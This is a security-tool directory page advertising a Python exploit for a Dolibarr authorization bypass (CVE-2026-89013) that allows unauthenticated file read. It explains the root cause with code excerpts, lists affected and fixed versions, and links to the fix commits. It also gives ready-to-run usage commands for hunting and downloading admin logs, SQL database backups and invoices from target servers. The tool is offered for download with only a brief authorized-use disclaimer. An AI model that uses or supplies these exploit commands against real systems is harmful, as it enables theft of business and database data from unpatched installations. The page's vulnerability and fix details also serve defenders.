Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-89013 — Python exploit for CVE-2026-89013, an unauthenticated Dolibarr hashp authorization bypass enabling arbitrary file read, with check, list, hunt, read, and download modes. | Kitploit
Tools/GitHubGitHub/faceless0x7/cve-2026-89013
Vulnerability AnalysisExploitationWeb Application ExploitationData ExfiltrationInformation GatheringWeb SecurityPenetration TestingAuthentication
GitHubfaceless0x7/cve-2026-89013

CVE-2026-89013

Python exploit for CVE-2026-89013, an unauthenticated Dolibarr hashp authorization bypass enabling arbitrary file read, with check, list, hunt, read, and download modes.

View Repository
116h 20m agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-89013 — Dolibarr hashp=shared Authorization Bypass

Exploit for CVE-2026-89013: document.php and viewimage.php force NOLOGIN when the hashp parameter is present. The internal marker value shared skips share-token resolution, but the access-control override still fires for any non-empty value and sets $accessallowed = 1, discarding the result of dol_check_secure_access_document(). An unauthenticated request can therefore read any file in every modulepart tree: business documents, admin logs, SQL backups (modulepart=systemtools), custom module sources (modulepart=packages), and other multicompany entities via .

&entity=N

Record: https://www.cve.org/CVERecord?id=CVE-2026-89013

AffectedDolibarr 23.0.4 – 24.0.0
Fixed24.0.1
Prerequisitesnone (unauthenticated)
Impactarbitrary file read within Dolibarr's managed directories

Root cause

root@kitploit:~
// htdocs/document.php:189 (24.0.0) — 'shared' skips token resolution
if (!empty($hashp) && $hashp != 'shared') { ...resolve share token... }

// htdocs/document.php:292 — but any hashp forces access
if (!empty($hashp)) {
    $accessallowed = 1;
    $sqlprotectagainstexternals = '';
}

A regression of commit 5028dae981e (2026-08-12), first shipped in 23.0.4 and 24.0.0. Traversal (../) is sanitized server-side — this is an authorization bypass, not a path traversal.

Usage

root@kitploit:~
# detection (safe, nonexistent canary file)
python3 CVE-2026-89013.py https://erp.local check

# readable modulepart trees
python3 CVE-2026-89013.py https://erp.local list

# hunt: dolibarr.log + SQL backups (generated filenames) + user vcards
python3 CVE-2026-89013.py https://erp.local hunt --db-name dolibarr --days 3 --save

# read / download
python3 CVE-2026-89013.py https://erp.local read logs/admin/logs/dolibarr.log
python3 CVE-2026-89013.py https://erp.local download systemtools/backup/backup.sql
python3 CVE-2026-89013.py https://erp.local read facture/FA2601-0001/FA2601-0001.pdf --entity 2

# PDFs via viewimage.php
python3 CVE-2026-89013.py https://erp.local viewimage facture/FA2601-0001/FA2601-0001.pdf

Standard library only (Python 3.8+). Supports --proxy, --insecure, --timeout.

demo

References

  • CVE record: https://www.cve.org/CVERecord?id=CVE-2026-89013
  • Fixed release: https://github.com/Dolibarr/dolibarr/releases/tag/24.0.1
  • Fix commits:
    • https://github.com/Dolibarr/dolibarr/commit/cd05688dbed8a4af6eef32faf4fc1e823a37bce9
    • https://github.com/Dolibarr/dolibarr/commit/a8bc4a63e1b6356884abcd83c4a38954d9649b0b
    • https://github.com/Dolibarr/dolibarr/commit/3bd8aa8b909e596d7dab4388d0466ec24e6ad191
  • Regression origin: https://github.com/Dolibarr/dolibarr/commit/5028dae981e47dfab349f8fe2ef79b54ae95d1b6

Disclaimer

For authorized testing and research only. Use only against systems you own or have explicit permission to test.

Download Tool